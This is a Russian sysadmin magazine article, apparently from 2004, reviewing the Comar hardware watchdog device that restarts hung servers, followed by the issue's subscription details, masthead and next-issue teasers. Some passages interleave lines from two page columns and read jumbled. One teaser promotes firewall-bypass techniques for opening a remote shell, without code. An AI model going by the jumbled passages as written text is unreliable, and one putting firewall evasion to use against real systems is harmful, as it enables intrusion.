темы или халатности администратора. Поэтому довольно ча- зового цвета служат для присоединения к кнопке reset или
сто случается, что сервера виснут намертво в самый непод- power подопытного сервера. Это в свою очередь помога-
ходящий момент. Хорошо, если администратор рядом, а что ет правильно управлять питанием ATX серверов. В моем
делать, если его нет поблизости и никто не знает, что де- случае использовался именно такой сервер.
лать. Или представим, что зависание произошло ночью, ехать
на другой конец города только ради того, чтобы запустить
злополучный сервер, удовольствие не из тех, что хочется
испытывать как можно чаще.
Порыскав в сети, удалось узнать, что производителем
устройства является Comar Technology. Честно говоря, сайт
www.comar.ru дизайном не впечатлил, впрочем, тут же поду-
малось о том, что это не самое главное, поэтому, закрыв
глаза на мелкие недочеты, я углубился в чтение техничес-
ких спецификаций, инструкций по применению прибора и
отзывов тех, кому уже пришлось воспользоваться данным
устройством. Закончив с этим занятием, решил принять
столь любезное предложение, да и самому было весьма ин-
тересно попробовать на зуб эту диковинку. Примерно через
сутки расторопный и ужасно деловитый курьер DHL доста-
вил загадочную посылку прямо на мой рабочий стол. С не-
терпением разорвав упаковку, я стал разбираться в том, что Следом за двумя вышеперечисленными предметами
находилось в заветном пакете. Итак, давайте посмотрим, что из коробки был извлечен знакомый всем до боли кабель
входит в стандартную поставку устройства watchdog. для подвода электропитания.
Сам прибор выглядит довольно просто, в то же время
презентабельно, плюс ко всему выполнен из ударопрочно-
го пластика, что отнюдь не маловажно в наше неспокой-
ное время. В переднюю панель прибора встроены красный
и зеленый светодиоды, служащие для индикации состоя-
ния самого устройства и наблюдаемого сервера. Там же
находятся два переключателя. Черный подает питание на
устройство, а серый разрешает ему работать в режиме мо-
ниторинга. Если перевести серый переключатель в поло-
жение «выкл», то прибор превращается в обычный элект-
рический удлинитель и не пытается вмешиваться в работу
сервера. Такой режим полезен при первоначальной на-
стройке сервера.

№4(17), апрель 2004 89

 hardware
И на закуску прилагается CD-диск с документацией и Инсталляция программного продукта начинается до-
прикладным программным обеспечением. Кстати, стоит вольно буднично – с выбора каталога, где он впоследствии
отметить хорошее чувство юмора человека, писавшего будет жить.
документацию и комментарии внутри всех конфигураци-
онных файлов.
Итак давайте разберемся с тем, как работает весь ком-
плекс. Приглядевшись к задней стороне прибора, видим,
что электропитание стандартным шнуром подается на
устройство и с него уже передается на сервер.

Затем нужно определить, в какой комплектации про-

грамма будет установлена. Тоже, казалось бы, простая за-
дача. Но в реальной жизни все не так просто.

Таким образом, становится понятно, что watchdog мо-

жет выключать и включать сервер, размыкая и соединяя
вновь питающую цепь. Любопытный читатель обязатель-
но спросит о том, как watchdog определяет, в каком со-
стоянии находится наблюдаемый объект. Все очень про-
сто: кабель RS232, о котором мы говорили ранее, подсое-
диняется одним концом к прибору, а вторым – к COM-порту
сервера. На сервере устанавливается и запускается де-
мон watchdogd, который через определенные промежут-
ки времени посылает по кабелю Live-пакет. Устройство
ловит его и понимает, что дела у сервера идут отлично и
пока вмешиваться в работу системы не нужно. Два до-
полнительных провода подсоединяются к контактам кноп-
ки power или reset. Довольно часто бывает, что после по-
тери питания сервера, собранные в ATX-корпусах, не под-
нимаются самостоятельно при восстановлении подачи пи-
тания. Благодаря дополнительным проводам watchdog
умеет правильно реанимировать их. Запуск сервера бу-
дет происходить точно так же, как если бы человек нажал
на кнопку power.
Итак, разобравшись с основными принципами фун-
кционирования следящего комплекса, давайте перей-
дем к практическим испытаниям работоспособности
предлагаемой технологии. Пожалуй, начнем экспери-
ментировать на сервере, работающем под управлени-
ем Windows.
С помощью стандартного кабеля подаем питание на
прибор watchdog и подсоединяем к нему сервер с помо-
щью кабеля RS232. Сервер запитываем пока не от
watchdog, а от обычной электросети. Включаем черный
и серый переключатели. Оба светодиода начинают син-
хронно мигать раз в секунду. Это означает что прибор
находится в режиме ожидания контакта с демоном
watchdogd. Поступаем мы так с той целью, чтобы нео-
сторожными движениями в процессе настройки и отлад-
ки не уронить наш сервер.
Вот тут нас уже поджидают первые неполадки. На сним-
ке экрана четко видно, что нам предоставлена возмож-
ность самостоятельно выбрать, какие именно компонен-
ты необходимо поставить. Свое волеизъявление можно
выразить двумя путями, либо расставляя галочки рядом
с нужными частями программного обеспечения, либо выб-
рав из ниспадающего меню одно из предопределенных
типов установки. До тех пор, пока вы пользуетесь вариан-
том «Полная установка», никаких проблем быть не долж-
но. Но стоит только выбрать опцию «Выборочная» или
«Только документация», или отключить галочку напротив
компонента «Серверное ПО», как вы начинаете стреми-
тельно приближаться к граблям, забытым разработчика-
ми в коде инсталлятора.
Дело в том, что в систему при данном раскладе не
будет установлена ни служба watchdogd, ни вспомога-
тельные утилиты. Соответственно при завершении ус-
тановки получаем ошибку, запечатленную на следующем
снимке.
Ничего удивительного в этом нет, инсталлятор всего
лишь пытается запустить несуществующую службу. Не-
приятно, но все же не смертельно. После установки в си-
стемном меню появляются вот такие пункты.

90
 hardware
ны, можно пытаться запустить сервис watchdog. Немного
подумав, специально решил проверить, каким образом
обстоит дело с отладочными сообщениями и насколько
удобно будет проводить по ним диагностику неисправнос-
тей и ошибок конфигурирования. Задавшись такой целью,
Конечно, кроме пунктов, связанных с документацией, я намеренно внес ошибки в конфигурационный файл. Про-
больше ничего в этом меню не функционирует. Ситуацию блема была в том, что я не вписал секретное слово в оп-
спасает лишь повторная установка полного набора ком- цию ctl_secret. Как и ожидалось, ни с первого, ни с какого-
понентов. Все программы начинают нормально работать либо другого раза запустить сервис не удалось, в ответ на
только при таком варианте инсталляции. все попытки на экране появлялось вот такое сообщение.
Закончив с установкой, приступаем к конфигуриро-
ванию. Производится оно с помощью редактирования
файла настроек, находящегося по следующему пути –
C:\Program Files\Comar\Watchdog\watchdog.conf. Тут нас
ожидает очередной ляпсус, все комментарии в файле кон-
фигурации написаны в кодировке koi8-r, что, скажем, выг-
лядит довольно странно в системах Windows, родной ко-
дировкой для которых является cp-1251. Комментарии
почитать очень хочется, поэтому приходится одной копии
файла дать расширение html и открыть ее в Internet
Explorer, чтобы появилась возможность переключать ко- Ну что же, раз методом грубой силы заставить рабо-
дировку текста, а вторую в редакторе дабы вносить в файл тать программу не удалось, значит будем искать причину
изменения, закрыв глаза на каракули. Опции, на значе- неполадок. Посмотрев в системный журнал, в котором хра-
ния которых нужно обратить пристальное внимание, пе- нятся данные, связанные с работой приложений, можно
речислены ниже: увидеть записи о таком критическом событии.
! rs_port – имя COM-порта, к которому подключен кабель
от устройства watchdog. В моем случае это был COM1.
Определить, какой порт будет у вас, можно, перебрав
все возможные. Думаю, это будет нетрудно, ведь их
всего четыре.
! test_host – адрес тестируемого хоста. Обычно исполь-
зуется localhost.
! test_port – порт тестируемой службы. Эта опция позво-
ляет сервису watchdog проводить дополнительные про- Как видите, сообщение об ошибке, несмотря на свою
верки жизнеспособности машины. К примеру, может краткость, точно и исчерпывающе описывает суть пробле-
случиться так, что сервер отвечает по сети на ping, но мы и явно указывает номер строки, а также опцию, на ко-
все службы, кроме watchdog, на нем уже в нерабочем торой споткнулась программа. Удовлетворенные получен-
состоянии. Таким образом, указав номер порта инте- ным результатом, ставим программе еще один жирный
ресующей службы, можно быть четко уверенным, что плюс. Исправив ошибку в конфигурационном файле, сно-
watchdog не перезапустит машину до тех пор, пока на- ва пытаемся запустить сервис. В этот раз все прошло как
блюдаемая служба жива. Для моего тестового серве- по маслу, сервис удачно стартовал, и в журнале систем-
ра таким показателем служит 135-й порт, задейство- ных событий можно увидеть следующие записи.
ванный в стандартной реализации интерфейса вызо-
ва удаленных процедур (RPC). Ну а вы, к примеру, мо-
жете выбрать любой другой порт, на котором работа-
ет интересная для вас служба. Кандидатом на этот по-
четный пост может выступить, например, ssh, telnet,
smtp или любая другая служба.
! ctl_secret – секретная фраза, которая будет использо-
ваться во время общения между демоном watchdogd и
устройством. Такая мера применяется ради повыше-
ния безопасности, хотя мне кажется весьма сомнитель-
ным, что кто-то будет пытаться взломать устройство с
целью получить контроль над ним. Непонятно, как сде-
лать это без физического доступа к устройству. В то
же время, если есть физический доступ, то, наверное,
целесообразнее взламывать сам сервер.

После того как эти минимальные настройки выполне-

№4(17), апрель 2004 91

 hardware
После того как демон успешно связался с устрой-
ством, зеленый светодиод начинает редко мигать. Такое
состояние дел указывает на то, что сервер в порядке и
устройство работает в штатном режиме. Плюс ко всему
в директории C:\Program Files\Comar\Watchdog\log\ по-
явятся файлы протокола, отражающие четкую последо-
вательность происходивших событий и действий, пред-
принятых устройством в случае, если требовалось его
вмешательство.
Думаю, что вышеприведенные записи в файле прото-
кола, описывающие ход одного из моих экспериментов,
довольно легко понять. Судя по надписям, я очень часто
прерывал работу устройства и сервера самыми разными
способами. Если обратиться к документации, то можно
узнать, что именно означает каждое ключевое слово и ка-
кие события стоят за ним:
! watchdog on – произошло включение устройства;
! repower – watchdog выполнил прерывание питания сер-
вера;
! notify: boot – произошел первый запуск демона;
! restart procedure – начата процедура перезапуска сер-
вера;
! normal shutdown – сервер начал плановую остановку,
в отличие от события repower, четко видно, что тут вме-
шался пользователь и вручную остановил сервер;
! watchdog locked – устройство вошло в режим блоки-
ровки;
! watchdog unlocked – устройство разблокировано;
! reset – watchdog перезапущен командой reset.
Изначально все события между перезагрузками сер-
вера хранятся в энергонезависимой памяти устройства
и в момент удачного контакта с демоном watchdogd за-
писываются в файл протокола на жестком диске. Такая
возможность мне кажется очень полезной, поэтому до-
бавляем комплексу еще один плюс. Даже при многократ-
ных перезагрузках сервера, происходивших в отсутствие
администратора, протокол не портится и продолжает по-
полняться событиями. Время, которым помечены все про-
исходившие события, обязательно будет совпадать с вре-
92
менем системных часов сервера. Это возможно реали-
зовать благодаря тому, что в устройство встроены авто-
номные часы с питанием от батарейки. При получении
Live-пакета часы устройства будет установлены на то же
самое время, что и часы сервера. При таком потребле-
нии батарейки должно хватить на долгие годы. Кстати,
при желании можно легко заглянуть внутрь прибора и
самолично оценить простоту и изящество внутреннего
устройства.
Кстати, стоит отметить, что производитель устройства
не запрещает вам самостоятельно собирать прибор, на
сайте компании можно свободно скачать принципиальную
схему устройства. Так же есть возможность переделывать
программу демон под свои собственные нужды, хотя уда-
лять реквизиты фирмы создателя, выводимые на экран
во время загрузки программы, запрещено. Второе огра-
ничение накладывается на продажу третьим лицам при-
боров созданных самостоятельно. Впрочем, судя по заяв-
лениям разработчиков, и этот вопрос вполне решаем, ви-
димо нужно будет отчислять некоторые проценты с про-
даж в пользу развития проекта.
Итак, завершив начальные тесты, пришло время занять-
ся серьезными вещами. Выключаем сервер через систем-
ное меню, созданное watchdog, или через использование
программы wd_ctl. В результате этого действия сервер дол-
жен быть остановлен, и оба светодиода должны погаснуть.
Если все произошло именно так, значит watchdog сей-
час находится в состоянии блокировки и не будет пытать-
ся поднимать сервер, даже если мы отключим устройство
и сервер от электропитания, а потом снова включим. При-
знак блокировки записывается в энергонезависимую па-
мять и хранится там до тех пор, пока мы самостоятельно
не включим сервер и автоматически запущенный демон
watchdogd не снимет его первым Live-пакетом.
Теперь нам нужно отключить сервер от электросети
для того, чтобы запитать его от устройства watchdog. Сде-
лав это, затаим на секунду дыхание и нажмем на кнопку
«power». Как и ожидалось, сервер загрузился, и устрой-
ство перешло в штатный режим работы.
А теперь давайте проверим, как устройство отреаги-
рует на потерю сигнала, с этой целью отключаем от сер-
вера кабель RS232 либо останавливаем демона. В зави-
симости от настроек устройство ждет прибытия сигнала
от демона строго отведенное время и затем начнет под-
готовку к перезапуску сервера. Красный светодиод нач-

нет часто мигать, указывая на то, что сейчас произойдет
прерывание питания. Если присоединить кабель на мес-
то или вновь запустить демона, то положение нормализу-
ется и снова редко замигает зеленый огонек, но мы де-
лать этого не станем. Еще через несколько секунд крас-
ный огонек начнет гореть постоянно, и мы услышим ха-
рактерный щелчок реле, разрывающего цепь питания.
Сервер должен пройти через стандартную процедуру заг-
рузки, интересно, что будет, если начать вмешиваться в
этот процесс и не давать ему завершиться. С этой целью
можно или нажать и удерживать любую клавишу, тем са-
мым генерируя ошибку диагностики клавиатуры, либо сра-
зу после завершения диагностики входить в настройку
BIOS. Таким образом мы сможем имитировать потенци-
ально опасные ситуации, такие как возникновение аппа-
ратных неполадок на сервере или, к примеру, долгий про-
цесс починки файловой системы. Как только время, отве-
денное на нормальную загрузку сервера (по умолчанию
это пять минут) истечет, watchdog снова прервет питание.
Но мы опять не даем серверу нормально загрузиться.
Подождав еще пять минут, устройство снова перезагру-
зит сервер, в случае неудачи такая последовательность
будет повторена еще один раз. Поняв, что так быстро сер-
вер поднять невозможно, watchdog увеличит интервал
ожидания до 30 минут.
Стоит заметить, что все настройки, влияющие на по-
ведение watchdog, можно изменить сообразно собствен-
ному понимаю того, как должна вести себя мониторинго-
вая система. Исхода у описанных выше событий может
быть два: либо сервер поднимется после столь долгой
паузы самостоятельно и watchdog это сразу же заметит,
либо после нескольких проходов по циклу наступит рабо-
чий день и администратор вмешается в ход событий. Та-
кая интеллектуальность в выполнении функций позволя-
ет быть уверенным, что watchdog не доведет сервер до
смерти бесконечными перезапусками.
Закончив изуверские фокусы с Windows, перейдем к
UNIX-системам. Тестирование устройства производилось
под управлением ALT Linux Master 2.2 и FreeBSD 4.9. Про-
цесс сборки и последующей инсталляции прост, как три
копейки, а посему доступен даже самому неопытному ад-
министратору. Большим плюсом программного обеспече-
ния watchdog является тот факт, что оно написано на язы-
ке C и не содержит в себе каких-либо объектно-ориентиро-
ванных излишеств, поэтому для его компиляции не нужно
никаких сторонних пакетов, только стандартные библиоте-
ки языка C. Такая простота, заложенная в изначальный
дизайн программы, позволяет перенести ее на любую UNIX-
платформу без каких-либо существенных изменений.
Нынче же приступим к компиляции, для этого нужно
всего лишь распаковать исходные тексты демона и ути-
лит, затем перейти в получившуюся директорию и выпол-
нить команду make. Конфигурационный файл будет ско-
пирован в /etc/watchdog.conf, а демон и вспомогательные
утилиты – в /sbin. Протоколы работы будут складываться
в /var/log/watchdog. Для Linux создаем свой собственный
скрипт загрузки демона в каталоге /etc/rc.d, где хранятся
сценарии запуска всех остальных системных демонов и
не забываем создать на него ссылку из каталога пред-
№4(17), апрель 2004
hardware
ставляющего соответствующий уровень выполнения. Для
FreeBSD такую команду можно добавить в системный
файл /etc/rc или создать свой скрипт в /usr/local/etc/rc.d.
Если файл конфигурации демона watchdogd по какой-либо
причине называется не /etc/watchdog.conf, то нужно обя-
зательно передать демону правильное имя с помощью
опции –f. Кроме изменения настроек /etc/watchdog.conf,
больше можно ничего не делать. Впрочем, изменять на-
стройки несложно, так как файлы конфигурации идентич-
ны для Windows и UNIX-платформ. В остальном же функ-
ционирование программы под управлением UNIX ничем
не отличается от работы Windows.
Еще одним интересным для нас моментом является
понятие «мертвая зона». Во время загрузки сервера быва-
ют такие моменты, когда процессы, происходящие внутри,
лучше не прерывать. Примером такого опасного процесса
может служить программа fsck, выполняющая починку
файловой системы после неудачного завершения работы.
В такие моменты самое лучшее, что может сделать
watchdog, – это не вмешиваться в естественный ход собы-
тий. Под UNIX такого эффекта добиться довольно легко,
нужно всего лишь добавить в системные скрипты перед
командой fdisk команду wd_ctl dzone_in, указывающую
watchdog, что сервер вошел в мертвую зону и его нельзя
тревожить. И затем команду wd_ctl dzone_out, уведомляю-
щую устройство о том, что мертвая зона благополучно прой-
дена. По идее, никто не мешает нам описать не одну, а не-
сколько мертвых зон при необходимости. К сожалению, под
Windows выполнить подобные трюки, по крайней мере сей-
час, невозможно по той простой причине, что не совсем
понятно, как встроить выполнение своей программы в сис-
темный загрузчик, не нарушив ход его выполнения.
Мое повествование о работе с watchdog подходит к
концу. Хотелось бы сказать, что комплекс кажется мне до-
статочно зрелым и надежным для того, чтобы его можно
было с успехом применять в мониторинге серверов. Очень
понравилась гибкость настроек и простота конфигуриро-
вания устройства. Собственноручно протестировав все
режимы работы прибора, могу сказать, что его поведе-
ние точно соответствует характеристикам, заявленным
разработчиками. За исключением мелких ошибок, о ко-
торых я писал выше по тексту, нескольких опечаток в до-
кументации и довольно скудного описания процесса ин-
сталляции на UNIX-платформу недостатков найдено не
было. Кстати, еще интересен вопрос о том, как watchdog
будет справляться с оборудованием, у которого два неза-
висимых ввода питания и автоматическое переключение
между ними. Видимо, для этого придется создавать ка-
кую-то новую модель устройства. В качестве пожелания
разработчикам можно сказать, что хотелось бы видеть не-
сколько устройств watchdog, собранных в один корпус, та-
ким образом, разработка будет лучше всего подходить для
монтажа в стандартную серверную стойку. В такой вид
устройства можно было бы и веб-интерфейс встроить.
Хочется выразить огромную благодарность Владими-
ру Ропаеву за труды по созданию фотографий, использо-
ванных в этой статье. На этой приятной ноте хотелось бы
закончить на сегодня наше, надеюсь, приятное для мно-
гих общение.
93

Российская Федерация
! Подписной индекс: 81655
Каталог агентства «Роспечать»
! Подписной индекс: 87836
Объединенный каталог «Пресса России»
Адресный каталог «Подписка за рабочим столом»
Адресный каталог «Библиотечный каталог»
! Альтернативные подписные агентства:
Агентство «Интер-Почта» (095) 500-00-60, курьерская
доставка по Москве
Агентство «Вся Пресса» (095) 787-34-47
Агентство «Курьер-Прессервис»
! Подписка On-line
http://www.arzy.ru
http://www.gazety.ru
http://www.presscafe.ru
СНГ
В странах СНГ подписка принимается в почтовых отделе-
ниях по национальным каталогам или по списку номенк-
латуры АРЗИ:
! Казахстан – по каталогу «Российская Пресса» через
ОАО «Казпочта» и ЗАО «Евразия пресс»
! Беларусь – по каталогу изданий стран СНГ через РГО
«Белпочта» (220050, г.Минск, пр-т Ф.Скорины, 10)
подписка на II полугодие 2004
! Узбекистан – по каталогу «Davriy nashrlar» российские
издания через агентство по распространению печати
«Davriy nashrlar» (7000029, Ташкент, пл.Мустакиллик,
5/3, офис 33)
! Азербайджан – по объединенному каталогу российс-
ких изданий через предприятие по распространению
печати «Гасид» (370102, г. Баку, ул. Джавадхана, 21)
! Армения – по списку номенклатуры «АРЗИ» через
ГЗАО «Армпечать» (375005, г.Ереван, пл.Сасунци Да-
вида, д.2) и ЗАО «Контакт-Мамул» (375002, г. Ереван,
ул.Сарьяна, 22)
! Грузия – по списку номенклатуры «АРЗИ» через АО
«Сакпресса» ( 380019, г.Тбилиси, ул.Хошараульская,
29 ) и АО «Мацне» (380060, г.Тбилиси, пр-т Гамсахур-
дия, 42)
! Молдавия – по каталогу через ГП «Пошта Молдавей»
(МД-2012, г.Кишинев, бул.Штефан чел Маре, 134)
по списку через ГУП «Почта Приднестровья» (МD-3300,
г.Тирасполь, ул.Ленина, 17)
по прайслисту через ООО Агентство «Editil Periodice»
(2012, г.Кишинев, бул. Штефан чел Маре, 134)
! Подписка для Украины:
Киевский главпочтамп
Подписное агентство «KSS»
Телефон/факс (044)464-0220

Подписные
индексы:

81655
по каталогу
агентства
«Роспечать»

87836
по каталогу
агентства
«Пресса России»

№4(17), апрель 2004 95

 СИСТЕМНЫЙ АДМИНИСТРАТОР
№4(17), Апрель, 2004 год
РЕДАКЦИЯ
Исполнительный директор
Владимир Положевец
Ответственный секретарь
Наталья Хвостова
sekretar@samag.ru
Технический редактор
Владимир Лукин
Редактор
Андрей Бешков
Научно-технические консультанты
Дмитрий Горяинов
Валерий Цуканов
Владимир Мешков
РЕКЛАМНАЯ СЛУЖБА
тел./факс: (095) 928-8253
Константин Меделян
reсlama@samag.ru
Верстка и оформление
imposer@samag.ru
maker_up@samag.ru
Дизайн обложки
Николай Петрочук
103045, г. Москва,
Ананьевский переулок, дом 4/2 стр. 1
тел./факс: (095) 928-8253
Е-mail: info@samag.ru
Internet: www.samag.ru
РУКОВОДИТЕЛЬ ПРОЕКТА
Петр Положевец
УЧРЕДИТЕЛИ
Владимир Положевец
Александр Михалев
ИЗДАТЕЛЬ
ЗАО «Издательский дом
«Учительская газета»
Отпечатано типографией
ГП «Московская Типография №13»
Тираж 7000 экз.
Журнал зарегистрирован
в Министерстве РФ по делам печати,
телерадиовещания и средств мас-
совых коммуникаций (свидетельство
ПИ № 77-12542 от 24 апреля 2002г.)
За содержание статьи ответственность
несет автор. За содержание рекламно-
го обьявления ответственность несет
рекламодатель. Все права на опубли-
кованные материалы защищены. Ре-
дакция оставляет за собой право изме-
нять содержание следующих номеров.
96
ЧИТАЙТЕ
В СЛЕДУЮЩЕМ
НОМЕРЕ:
INSERT – Inside Security
Rescue Toolkit
Бешеная популярность GNU/Linux не в
последнюю очередь обусловлена на-
личием большого количества узконап-
равленных дистрибутивов, адаптиро-
ванных для выполнения определенных
узконаправленных задач. Наиболее
популярны среди них firewalls, позво-
ляющие настроить доступ в Интернет,
в том числе и не подготовленному
пользователю. Также в последнее вре-
мя становятся популярными дистрибу-
тивы, предназначенные для анализа
сетевой безопасности удаленных и
локальных вычислительных систем и
сетей, в основном в виде LiveCD-дист-
рибутивов, позволяющих проделать
все необходимые операции без уста-
новки системы на жесткий диск. При-
чем некоторые разработки могут прий-
тись по вкусу и закоренелым пользо-
вателям Windows систем, т.к. могут
оказаться тем единственным подруч-
ным средством, при помощи которого
можно спасти свои данные. Об одном
таком дистрибутиве и пойдет речь да-
лее. INSERT – Inside Security Rescue
Toolkit так называется LiveCD-дистри-
бутив, от Inside Security IT Consulting
GmbH, предназначенный в первую оче-
редь для решения задач по спасению
данных и также для сетевого анализа.
MRTG и snort
«Лучше один раз увидеть, чем сто раз
услышать», – гласит пословица. Мно-
гие вещи в большинстве своём мы
лучше воспринимаем, когда видим их.
Не всякая графическая информация
нами воспринимается одинаково хо-
рошо. Выдать данные наглядно – это
целое искусство, (спрятать данные –
тоже искусство). Несомненно, инфор-
мация об атаках может быть отобра-
жена по-разному. В этой статье будет
рассказано, как настроить на совме-
стную работу MRTG – средство визу-
ализации происходящего и систему
обнаружения атак Snort.
Побег через брандмауэр
плюс терминализация
всей NT
В настоящей статье рассматривают-
ся различные способы обхода бранд-
мауэров с целью организации на ата-
куемом компьютере удаленного тер-
минального shell, работающего под
операционными системами UNIX и
Windows 9x/NT.
Здесь вы найдете передовые ха-
керские методики, свободно проника-
ющие через любой, абсолютно любой
брандмауэр независимо от его архи-
тектуры, степени защищенности и
конфигурации, а также свободно рас-
пространяемый пакет демонстраци-
онных утилит, предназначенный для
тестирования вашего брандмаузера
на предмет его защищенности (или же
отсутствие таковой).
Статья ориентирована на специа-
листов по информационной безопас-
ности и системных администраторов,
знакомых с языком Си и имеющих
опыт работы с Berkley-сокетами.
Зеркалирование
информации
В этой статье будет рассказано о со-
здании простой и удобной системы
зеркалирования информации с помо-
щью пакета CVSup – пакета программ
для передачи и обновления файлов
через сеть.
Трудно переоценить ту пользу, ко-
торую приносят нам резервные копии,
заботливо нами же и сделанные.
Сколько нервов и времени не было
благодаря им потрачено впустую…
Процесс зеркалирования хоть и
схож по смыслу, но все же несколько
отличается от классического резерв-
ного копирования информации. Более
того, зеркалирование в полной мере
не сможет его заменить. А зачем же
тогда его использовать зеркалирова-
ние, если оно не заменит процесс
стандартного бэкапа? Рассмотрим на
небольшом примере.